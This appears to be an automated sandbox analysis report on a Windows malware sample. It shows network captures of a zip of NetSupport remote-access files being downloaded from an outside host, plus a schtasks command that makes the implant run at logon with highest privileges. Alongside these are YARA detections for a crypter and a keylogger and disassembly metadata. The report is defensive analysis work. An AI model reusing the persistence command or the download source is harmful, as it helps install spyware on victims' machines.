<Qq7#mQKR6z}Qi_wX9}xI3C[~%Mmt+b6Ri^s?Ll] -O{ysy~~ldTYhSt/>?<[g>.;'Y]S?~\|]i{w7?;Ob1Tx}ntw^wz]
2024-12-10 07:58:31 UTC	8000	IN	Data Raw: 4a 2e d3 1c fd 50 74 b4 52 03 e3 23 72 5f aa 1f 36 76 9b 0f e6 c5 1a 8e 59 a2 c9 e9 a3 cf fc 3a 39 13 53 85 c4 d4 a4 31 f9 52 a1 58 92 c2 9c 9c 10 93 c2 ea 87 19 20 56 9a be 36 9b 83 b1 59 f6 23 b9 76 1c cc 96 45 68 64 86 34 ca 35 f0 15 c5 3e e5 d3 6e e6 ff d0 df de 7e e8 91 e4 5d 17 a5 e4 55 58 10 62 18 4c 0d c0 c6 63 7e e5 63 cb 7d e6 7b c5 4b 24 a9 8e 36 36 19 19 19 d6 c9 5d dd 5a c3 fb b8 4d ea cc 84 94 d4 34 9b 18 71 92 0d d4 07 ae 62 b8 86 e1 f2 45 ab 37 12 81 d1 98 fd 68 8c 67 0d e9 98 a0 6b cc 24 12 75 0a 16 88 4d ea aa 63 e4 f9 3e ff b0 03 38 ac b4 7f d0 85 04 d3 42 8a eb 93 48 9d 54 32 06 7a 6d 66 4a 3e 99 04 b8 e4 f9 8d b3 18 2f f7 4b f6 8f a8 67 18 ee bb 7d a9 dd 76 f3 9a 3d 3f fd 5a a2 61 60 9d 70 74 e3 c9 4b 5f b6 b0 c3 c6 3c 48 9e 10 55 5e Data Ascii: J.PtR#r_6vY:9S1RX V6Y#vEhd45>n~]UXbLc~c}{K$66]ZM4qbE7hgk$uMc>8BHT2zmfJ>/Kg}v=?Za`ptK_<HU^
2024-12-10 07:58:31 UTC	8000	IN	Data Raw: 8d c2 0b 44 39 0f 52 79 6c 77 2d 54 44 e1 29 62 0b 25 4b 7e 68 5b 0f 31 6f 8f c1 3b 8d 66 d1 62 78 60 38 45 96 b5 12 07 b6 22 4a 58 36 5e 52 b1 99 b6 ad 9a 84 b6 32 66 57 59 78 37 b4 f4 80 ee 64 85 69 26 27 5d 4e 8a 22 e5 ec 95 64 0c 48 fd 0c de 34 d1 30 97 c2 53 34 19 9a d2 8f 3e 80 20 a4 36 93 76 97 76 91 21 e0 73 08 fa 27 c0 cc e4 b8 cb 71 91 ba 6c c9 3c ca ec 60 0f b0 bd 6c c5 ad 4d 40 d1 20 39 51 f4 01 0a c6 86 cf fb c3 05 8f 92 22 42 d3 23 0b d9 e9 39 19 91 19 04 ee f8 a1 3d 70 95 c9 88 58 aa ab 07 aa c0 42 74 40 11 fb c5 57 0c 74 15 c9 c4 a8 73 a3 d6 e7 d1 a1 0f 9d 0d 73 dd 2c 98 1b 60 30 b7 4b 87 b9 6b 0a c8 13 e7 eb 56 e3 85 fa 7c bc 30 e0 e2 05 25 01 2f cc a6 e3 85 55 0c 28 56 2d a0 54 d2 e1 99 00 59 5f 84 97 e4 f5 a5 74 68 ab 4a eb 97 40 18 37 Data Ascii: D9Rylw-TD)b%K~h[1o;fbx`8E"JX6^R2fWYx7di&']N"dH40S4> 6vv!s'ql<`lM@ 9Q"B#9=pXBt@Wtss,`0KkV\|0%/U(V-TY_thJ@7
2024-12-10 07:58:31 UTC	559	IN	Data Raw: 00 20 00 00 00 00 00 00 00 50 43 49 43 48 45 4b 2e 44 4c 4c 0a 00 20 00 00 00 00 00 01 00 18 00 00 03 cc 01 20 a0 d1 01 61 c9 ee ed 5b 37 da 01 cd 15 5c 8c 17 35 da 01 50 4b 01 02 1f 00 14 00 00 00 08 00 24 a0 cd 56 00 ef 64 fe d7 7f 00 00 58 f7 00 00 0e 00 24 00 00 00 00 00 00 00 20 00 00 00 61 1f 00 00 72 65 6d 63 6d 64 73 74 75 62 2e 65 78 65 0a 00 20 00 00 00 00 00 01 00 18 00 2a 32 6a a6 18 9e d9 01 85 83 92 f3 5b 37 da 01 9a b4 5c 8c 17 35 da 01 50 4b 01 02 1f 00 14 00 00 00 08 00 19 92 38 57 f5 75 1d 3a 91 01 00 00 7d 02 00 00 0c 00 24 00 00 00 00 00 00 00 20 00 00 00 64 9f 00 00 63 6c 69 65 6e 74 33 32 2e 69 6e 69 0a 00 20 00 00 00 00 00 01 00 18 00 30 ba bb 24 fa ee d9 01 6a 23 97 b5 5b 37 da 01 e5 1a 6e 1e 72 ee d9 01 50 4b 01 02 1f 00 14 00 00 Data Ascii: PCICHEK.DLL a[7\5PK$VdX$ aremcmdstub.exe *2j[7\5PK8Wu:}$ dclient32.ini 0$j#[7nrPK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49857	23.254.224.41	443	2972	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 07:58:33 UTC	55	OUT	GET /dwnld/2nd2_4.zip HTTP/1.1 Host: cycleconf.com
2024-12-10 07:58:33 UTC	263	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 07:58:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:12:34 GMT Accept-Ranges: bytes Content-Length: 787082 Vary: Accept-Encoding Content-Type: application/zip
2024-12-10 07:58:33 UTC	7929	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 2c 61 87 4f 09 a5 f9 52 62 03 00 00 00 0a 00 00 0a 00 00 00 6e 65 74 6d 73 67 2e 64 6c 6c ed 56 4d 48 54 51 14 fe de cc 18 8d 7f 18 44 d1 aa 27 18 d5 a2 c1 89 0a 83 50 33 15 14 ff 50 b3 08 a1 5e 33 af 71 c2 79 33 bd 37 96 1a c8 04 12 41 06 d6 22 5a 56 bb 16 d5 2c 5a 68 10 b4 6c 63 8b 56 15 51 d1 a2 5d b5 6d 11 d6 77 cf dc 19 5f a3 22 41 bb 3a 8f 73 7f be 7b fe ee 39 f7 bd fb 7a 4f cd 23 08 20 44 fe f9 13 58 40 81 5a b1 31 29 d9 da 9d 4f 6b f1 24 bc 54 bf 60 f4 2c d5 0f 8f 25 3d 33 e3 a6 13 ae 95 32 63 96 e3 a4 b3 e6 59 db 74 27 1c 33 e9 98 ed fd 43 66 2a 1d b7 23 35 35 95 0d da c6 c1 2b 47 3e 5c f8 38 38 57 64 fb fa c3 b9 8c f4 03 37 54 3f 98 8c 8d 29 bc dc f7 40 07 d0 63 04 f0 f8 71 df 93 22 f6 11 81 fa 2a a3 76 ab 4c 36 fb Data Ascii: PK,aORbnetmsg.dllVMHTQD'P3P^3qy37A"ZV,ZhlcVQ]mw_"A:s{9zO# DX@Z1)Ok$T`,%=32cYt'3Cf#55+G>\88Wd7T?)@cq"vL6
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: 29 26 9d 8f b0 e0 73 a5 31 b7 d2 58 be 0c aa fb 33 15 dd 2c 44 77 ec ae 01 aa fb 73 2d d3 7f bd 4b ae 2e 9f 6c bf 8a 13 2a ec 93 6b bc 4d 5b f8 09 56 58 69 c3 df a8 b9 7e 64 e1 3e 39 b7 d4 1a 35 4e 74 b8 cc 95 a3 fd bf 55 21 dc 08 71 fb 5d 89 ad fc 3b 6d 2b 8f 91 8b 17 9a 45 6f 66 b1 c7 70 a4 88 74 a3 a9 93 59 c2 2c ec 1e 65 cc 9c fd 41 cb d9 f1 3b e5 6a 99 39 a5 3e 29 aa f3 17 6d a1 df dd a9 a9 ce 5f b5 d5 11 58 ae 00 f2 ee df 21 53 e3 4f ea 10 0b ef 4c ec 10 af 69 3b c4 14 96 d9 cf f5 48 9a 27 1a 54 1e c5 58 8e 0b b7 b7 f0 6e 71 1f 79 04 f7 43 5d a1 e8 ae 3c 5a 14 7a 48 79 19 28 cc 4e 95 fe 0a a4 ff 87 bc 44 bd ef af ec 7b b4 b2 fa 6e 5e 12 bb aa 61 61 6a b6 4f 0b be 98 81 27 ee 37 5f df 79 40 af d9 5f 8c 34 5d 66 fb 21 f0 c2 d6 4d 15 97 f0 8e 5d 6b be Data Ascii: )&s1X3,Dws-K.l*kM[VXi~d>95NtU!q];m+EofptY,eA;j9>)m_X!SOLi;H'TXnqyC]<ZzHy(ND{n^aajO'7_y@_4]f!M]k
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: d5 6e 7b e3 b9 3f 96 97 b6 a4 e8 af 9a fa d2 6e 9b a2 f3 f6 ef 0f 79 5f a6 e8 0f 25 7c d2 ac 42 1c 9a 80 6f 08 4c a5 8b 98 1c 8d 5c 72 fb 6f 4e 6e ff ff 8b f6 a0 f6 2b 1d a7 11 fd ed e1 95 e4 f3 ef d8 4b 0f ee 0f 15 87 c8 cc 0a 6a 5d d5 7c ab 61 40 10 f6 7b 61 c5 e2 3b e2 3d 3c ea be 05 d9 ca 69 72 c4 1e 1f ca 86 fa 9b 66 18 39 b1 e9 20 09 f7 f0 8f 9b e8 af 48 39 7a 1e b7 be 8c a0 39 07 1c bb 57 99 04 40 dc e3 15 1f 37 37 7d a6 8f 1a 73 85 50 8f 1c 8f 07 21 5c 9f 87 dd c5 f2 03 3c 51 68 68 34 34 c2 f8 c7 6e 7a 16 70 39 c0 52 8d 07 27 c5 7b 8c e2 7c 1e 73 0d dd 86 ee 68 e6 f0 9c 66 03 b4 40 1f 68 33 2d 52 04 af 8a 70 d7 ea dc 1b f4 9c c1 79 1e e0 f1 f2 91 b5 3d ab 66 37 5d d6 8b 6f 1b 0e 19 0e 15 79 dc e2 05 a1 e4 3c 99 00 30 e2 01 03 bd 09 3b 27 d4 13 1c Data Ascii: n{?ny_%\|BoL\roNn+Kj]\|a@{a;=<irf9 H9z9W@77}sP!\<Qhh44nzp9R'{\|shf@h3-Rpy=f7]oy<0;'
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: 3c 78 45 af 9d 2a 36 9d 4f d6 cd a6 84 55 1c 46 7b b6 54 d4 c7 01 ff 35 e9 fb 88 4f 87 a6 ef cc 72 8a 72 99 8b 0d 40 70 c9 e7 74 7d 14 1b 41 27 e2 10 e8 5b dc e5 92 ff d9 1d 5b 1f 6f 09 ef 92 79 b8 fb cd 83 8d 10 7e 1a c3 f3 90 ae ab 96 24 51 7e 38 1d 96 4c 0c 5f e2 e4 31 0e d0 65 84 79 0f 0c 67 a1 35 44 9b d1 cd e6 9f 99 51 f4 3a a4 e2 6c f9 3b 60 b6 a6 b3 da 73 02 63 dc 16 85 cd 3f dc 5f b1 73 1d 59 6d 76 f7 4f 3b 1a 8b 17 f6 1f f4 4f 82 f9 7b 98 0f 76 df 54 bc 6e 5a 8e 37 97 7b 54 2f ec 98 48 b7 69 f8 a3 de 51 96 1a d5 bd fc a5 42 90 8d dd 4d 37 c0 89 a1 8e 80 09 d4 86 6e c1 08 32 b4 c3 a9 a4 60 2a 10 22 97 5b 69 0b 86 0d d5 ca 26 9a 77 e5 09 ac 4e 85 75 c0 bd 2e 1b af 42 21 b7 50 c8 2c 0c dc c9 cb 56 f4 dc 6e c0 eb 32 58 8f 7e bd 3c b9 5f 12 5c 28 f0 Data Ascii: <xE6OUF{T5Orr@pt}A'[[oy~$Q~8L_1eyg5DQ:l;`sc?_sYmvO;O{vTnZ7{T/HiQBM7n2`"[i&wNu.B!P,Vn2X~<_\(
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: 98 f1 e0 99 c0 3c 06 1f 82 35 8e ac dc 59 9c c7 1a 16 52 0a 28 4c 9f 61 05 14 b0 f1 2a 60 a3 c9 fd 3b 73 8f 89 26 06 dc 74 04 6e 3a 00 97 dc 57 7d 08 28 03 23 1a 95 cf 96 e5 4d 84 b5 27 8c f1 41 1e f9 9d 43 c8 41 e8 53 70 b6 33 23 14 36 a7 38 11 f6 7f c6 a8 c4 eb 79 2d 69 4e 90 f7 75 c6 cb fb 8e 26 0d 29 ef 83 d5 1d 00 6b 69 8b e2 e1 dd 92 34 17 62 16 6c 59 01 cf e7 97 7f 89 e2 2f fa 94 6f a6 bc 97 58 d1 2b 1e 98 0a 69 07 0a f0 e9 c3 e7 32 7c 0a 20 6d b8 24 5c ab f2 b5 f3 85 dc a6 60 64 f9 ca 91 bc ef a1 2b 74 dc 2f 15 b1 23 7b 7e 03 e3 af 5c 82 53 39 43 39 8c 11 be e5 2d 51 36 8c 92 b4 67 e9 70 35 80 58 cc 3b 7c ce ed 48 9f 6a e7 e4 aa d7 ed e5 c3 c2 73 50 03 8f d4 01 94 92 34 99 3e b7 c3 68 90 7b 17 3b 18 e8 4a 1b bb d1 63 6f f2 d4 29 70 c4 c4 dc 75 33 Data Ascii: <5YR(La*`;s&tn:W}(#M'ACASp3#68y-iNu&)ki4blY/oX+i2\| m$\`d+t/#{~\S9C9-Q6gp5X;\|HjsP4>h{;Jco)pu3
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: 7f b8 b4 50 75 69 b4 07 66 75 23 ce aa 65 1f b6 18 97 eb b8 9a 2b a4 54 9a c3 e8 4d 07 27 08 fb 1a c6 39 d6 45 ef 9c 82 15 59 74 64 79 ae 66 33 76 8a 57 3b f5 74 9c 2b 8f 51 04 f1 ad 6a 06 09 a4 56 ad 4e 32 08 c2 a0 f1 1c 28 b3 16 82 b1 02 a7 1b c1 cb b7 06 ac 96 1e a9 62 17 79 35 78 75 6c 79 ca be b1 30 78 9f 56 7c 83 30 57 52 7b 33 ee 48 90 c2 13 2c aa c9 e2 5f 01 02 e3 e2 7d 2b 60 ec 7e 6e 86 0f f1 8e 2a 3e 2d 1e 20 5d 88 bb 5f 8e f7 60 50 61 06 8f d9 1d 94 93 0b 9d 04 09 39 5c 53 71 35 ad c0 49 96 65 73 35 20 2b 15 4b 7b 67 94 3d 11 b8 dd e5 f2 eb a5 e2 d5 0e 37 fa df b3 9c c0 63 38 f7 9b 43 e4 90 68 43 ab fe d3 b4 54 8b fd 09 fd 85 7f d2 1f 33 ca 9e e4 42 c0 6f 60 b1 ca 1f 7b dc f2 7c 28 76 44 2d 06 16 ad ac d8 6f 40 bb 7f ef 38 6e af 7d 75 d3 bb c6 Data Ascii: Puifu#e+TM'9EYtdyf3vW;t+QjVN2(by5xuly0xV\|0WR{3H,_}+`~n*>- ]_`Pa9\Sq5Ies5 +K{g=7c8ChCT3Bo`{\|(vD-o@8n}u
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: 0a 48 b7 96 7b 5a 6c 09 41 ee d5 5f 24 2c 21 15 90 8b 5a ee e9 b1 25 04 b9 ef 8f 07 64 b2 0a 48 44 cb 7c 57 6c 09 41 e6 89 09 80 98 55 40 7a b5 dc 77 47 73 1b 20 f7 27 17 e3 01 31 ab 4b 28 ba e0 66 24 2e b8 a6 8b 71 80 b4 ab 08 13 5d 14 79 89 8b 62 e3 c5 78 40 7a 87 31 40 58 e8 06 50 de 8e e6 ee 86 ed ce 9b 00 88 3c 8c 01 92 ad e5 b6 46 73 9f 85 dc 33 e2 01 61 27 f3 d3 db 73 b4 cc b3 62 80 40 e6 11 09 80 1c 66 80 a8 0d ed 81 86 b6 4f 7a 13 69 ff 64 d8 9f 30 79 c7 30 ac 52 5b 75 50 64 bb 01 33 69 e4 17 cb 19 59 39 53 b4 dc ea 94 f8 72 ab b1 9c 39 be dc 32 2c 97 c1 ca 65 bd 09 f6 38 65 cd 58 d6 1b c4 b5 a2 e3 42 3f 85 38 40 8b 86 c5 6d 47 c2 a8 17 f4 10 c3 59 cc 84 2c 17 56 d0 0c 0d 21 da c9 b2 e6 a8 7f a5 60 e3 b0 5f 06 df 1d 96 7c a8 29 92 0c c7 1f 5e 4c Data Ascii: H{ZlA_$,!Z%dHD\|WlAU@zwGs '1K(f$.q]ybx@z1@XP<Fs3a'sb@fOzid0y0R[uPd3iY9Sr92,e8eXB?8@mGY,V!`_\|)^L
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: 20 66 51 54 9f da 20 68 77 e1 79 78 bb 01 1e 46 78 98 e0 61 86 47 c6 65 f0 f2 91 75 19 e2 03 76 c5 24 65 93 50 df 21 0f 97 85 30 4e 5b 03 2e f9 4a 67 34 8f f0 ce 3a fb 03 96 13 2d a9 86 5a bb de fa 26 c4 94 49 82 00 b6 fb d8 a6 5e 4c 49 76 06 69 cf 7d 03 e4 58 61 7b da 39 0a 94 f5 15 e1 ba dc a6 14 f8 29 da 47 c3 7a 7f 91 d9 81 97 19 69 81 b1 f4 54 9e 65 39 12 ac 30 dd 25 66 c2 d1 9d 7b ae 49 2c 31 4a 0b 86 eb c5 22 73 5e 66 36 5e a1 bd 07 12 4b f5 3e 4b 5b ad 5c e8 9f 5f 11 2a 03 62 5f 29 01 3b 45 ab 02 4a 86 ac 36 33 f7 0c b8 17 72 cb 1f 3d a4 09 b7 26 b1 fa 34 32 90 a9 c5 d0 70 cb 47 b4 3c c2 bb 78 a1 4a 4a 4c db 50 2a f5 e6 84 13 d5 ef 9e 7f 53 51 aa 0f 21 5b a5 ba 73 0f 2a fa c0 84 60 fe b4 ab 40 44 6e a3 0b 37 f9 55 ae fe f8 4b 48 a4 4b 32 e0 e2 3b Data Ascii: fQT hwyxFxaGeuv$eP!0N[.Jg4:-Z&I^LIvi}Xa{9)GziTe90%f{I,1J"s^f6^K>K[\_b_);EJ63r=&42pG<xJJLPSQ![s*`@Dn7UKHK2;
2024-12-10 07:58:33 UTC	8000	IN	Data Raw: 04 3c 3a aa 59 be 54 c6 9a 5b e9 bf 53 f4 df bb ca 00 7d 9d ea ae f5 89 fb 01 44 ec 74 5b 7a c4 c0 2e 6b 8b 70 43 de 74 08 e4 29 8c 07 b7 c0 6e b7 d2 06 5a 36 d7 31 bd 9a fc 79 94 8f 13 46 c3 dd 08 d3 58 fd f8 39 cd 44 66 97 cb 29 7f 0e d4 bf 1d 82 07 d8 76 f1 2e b7 58 ba 5b c9 34 bd c9 f6 9a d1 4b 46 68 6a ae fb d4 42 1e f2 aa b5 e5 b1 59 74 15 d2 71 8b fa bb 1d 75 e9 10 e8 8e 0b 63 e9 5f d0 91 1a 99 f7 c4 e2 c0 f0 bc 07 16 70 35 10 39 c0 5e dd 04 1e f2 ac dd 2b 5f 27 a5 bb 83 af 29 2e 79 0f 65 38 82 af 82 94 d8 7a 95 ab f9 17 9a 2d f0 f4 3f d1 b6 51 b4 6d 12 6d 9b 45 db 56 d1 b6 43 0d d1 5d 28 95 ec f1 eb 9c 34 41 6e 7c 8e 79 fa aa c8 d0 49 81 3d 81 64 29 70 4a 2c 33 8b 65 26 b1 2c 4b 2c cb 16 cb 8c 10 98 09 05 c3 61 3b b8 d3 d7 85 ed 86 9c 6d c3 74 72 Data Ascii: <:YT[S}Dt[z.kpCt)nZ61yFX9Df)v.X[4KFhjBYtquc_p59^+_').ye8z-?QmmEVC](4An\|yI=d)pJ,3e&,K,a;mtr
2024-12-10 07:58:34 UTC	8000	IN	Data Raw: b5 98 a0 88 64 96 e7 c4 bb 35 40 db 2e 63 6b 9f 81 44 f7 d5 2d 66 07 0f 7e 2d 7a 08 95 7a 5e 09 a4 c4 2a d4 76 a0 55 5e cb 76 b1 10 6e a7 85 f0 c9 17 09 ea 58 2e d4 b3 19 eb 61 4f be 8e b5 c2 2f 96 e8 65 6b b1 57 5e ba 7e 13 a2 c1 08 d4 5d 2c 36 d4 af 20 4a 0c df 8f 6a bd 18 9e 2f ee 2e c4 61 c0 06 ec 6c 81 08 38 b1 0f 46 e4 d9 4a da 1a 4f 81 81 59 2c 8a 61 ef b1 e6 f4 83 3d 97 be 43 41 cc c3 0e c4 5c 8e 86 1e 32 6a e7 58 73 e0 23 c2 9a eb db 6c ec bb e3 2f a1 1e bf 9d 35 1c 7f b1 c7 37 69 49 fa ae 85 59 26 37 ff d1 bd 51 85 29 f3 52 36 72 dd bb 63 81 7b f7 9e 43 cf 2c b6 fe fa d8 78 7b 04 b7 1c fe c6 a0 84 a8 a7 3f eb a0 55 d0 82 6d 0e d1 33 33 68 28 1e 6d 07 6e 8f e8 2c 12 5f d8 87 7d d0 0b 68 d6 db 98 af 10 06 1e 8b 21 f4 f2 f6 42 2f 9d a2 35 2a d6 31 Data Ascii: d5@.ckD-f~-zz^vU^vnX.aO/ekW^~],6 Jj/.al8FJOY,a=CA\2jXs#l/57iIY&7Q)R6rc{C,x{?Um33h(mn,_}h!B/51

Target ID:	0
Start time:	02:57:10
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\Jjv9ha2GKn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Jjv9ha2GKn.exe"
Imagebase:	0x750000
File size:	1'128'960 bytes
MD5 hash:	AEDF7F67CF6D7F8EF348BA681046FE51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2759945326.00000000051E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2751641971.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:57:48
Start date:	10/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xa00000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:58:34
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST
Imagebase:	0x470000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:58:34
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Local\DNScache\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\DNScache\client32.exe
Imagebase:	0x400000
File size:	55'456 bytes
MD5 hash:	9497AECE91E1CCC495CA26AE284600B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.3301652835.00000000004D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:58:34
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:58:35
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Local\DNScache\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\DNScache\client32.exe
Imagebase:	0x400000
File size:	55'456 bytes
MD5 hash:	9497AECE91E1CCC495CA26AE284600B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	473
Total number of Limit Nodes:	15

Executed Functions

Function 026F89F8 Relevance: 12.2, Strings: 9, Instructions: 905COMMON

Download Yara Rule

Strings

(o]q, xrefs: 026F8F07
(o]q, xrefs: 026F8BAA
(o]q, xrefs: 026F8B0D
(o]q, xrefs: 026F8A26
(o]q, xrefs: 026F8EF7
(o]q, xrefs: 026F8AE1
(o]q, xrefs: 026F8FB9
,aq, xrefs: 026F8E88
,aq, xrefs: 026F8E98

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-99275883
Opcode ID: 8c5f98ccddf9c6cf7b69085e8180b9ac15fa6aff1ebebded404bbb3b5f834b0f
Instruction ID: dc0aaf9252f5edf95f07aac85aff1d82c9d6098447e715d4de91c716032c0283
Opcode Fuzzy Hash: 8c5f98ccddf9c6cf7b69085e8180b9ac15fa6aff1ebebded404bbb3b5f834b0f
Instruction Fuzzy Hash: A2823731A012099FCF55CF68C984AAEBBF2FF89314F158599E6099B2A5D730ED81CB50

Function 07AFAA24 Relevance: 11.0, Strings: 8, Instructions: 957
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 07AFE33A
Haq, xrefs: 07AFE97A
(aq, xrefs: 07AFE095
PH]q, xrefs: 07AFE069
Haq, xrefs: 07AFE7BB
Haq, xrefs: 07AFE558
Haq, xrefs: 07AFE399
Haq, xrefs: 07AFE75C

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: (aq$Haq$Haq$Haq$Haq$Haq$Haq$PH]q
API String ID: 0-1363861295
Opcode ID: e6c60691020f5e31e8115ac68b163e6f3146d262b1012b19cb1fae24103561c7
Instruction ID: 1bf79bc23b38cb0f878c2ebe1b9f50ec55840e14ca7536d9742080969279c39f
Opcode Fuzzy Hash: e6c60691020f5e31e8115ac68b163e6f3146d262b1012b19cb1fae24103561c7
Instruction Fuzzy Hash: FB62EF717042158FCB08EB78C8946AE7BA7AFC9710F2485A9E51ADB3A5CF34DC06C791

Function 026F7C20 Relevance: 9.7, Strings: 7, Instructions: 950COMMON

Download Yara Rule

Strings

(o]q, xrefs: 026F8835
,aq, xrefs: 026F8582
(o]q, xrefs: 026F850A
(o]q, xrefs: 026F81D2
,aq, xrefs: 026F8590
Haq, xrefs: 026F809E
(o]q, xrefs: 026F8518

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$,aq$,aq$Haq
API String ID: 0-105717579
Opcode ID: 4f292fdc64d7b444f6a538691724999403c350126b83de6474f1a3ddd3cf03bb
Instruction ID: 95c8cc0c6c6f4959b0e87d9e9800216c2331d7e826398809a1fb74972e6168d8
Opcode Fuzzy Hash: 4f292fdc64d7b444f6a538691724999403c350126b83de6474f1a3ddd3cf03bb
Instruction Fuzzy Hash: 17827D71A002198FCF55DF69C884AAEBBB6FF88304F1485A9E505EB3A5DB34DD42CB50

Function 07191548 Relevance: 5.8, Strings: 2, Instructions: 3280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0719494C
@, xrefs: 0719495C

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: c99e2db1d4cf4fa3656e148da8aa1a2771d17a69e285f7e69735bc1f08c3cca8
Instruction ID: 46974c70c39b30ac7bac343b2c87bb0379d3a2c670b91be3581143b0ef355e7e
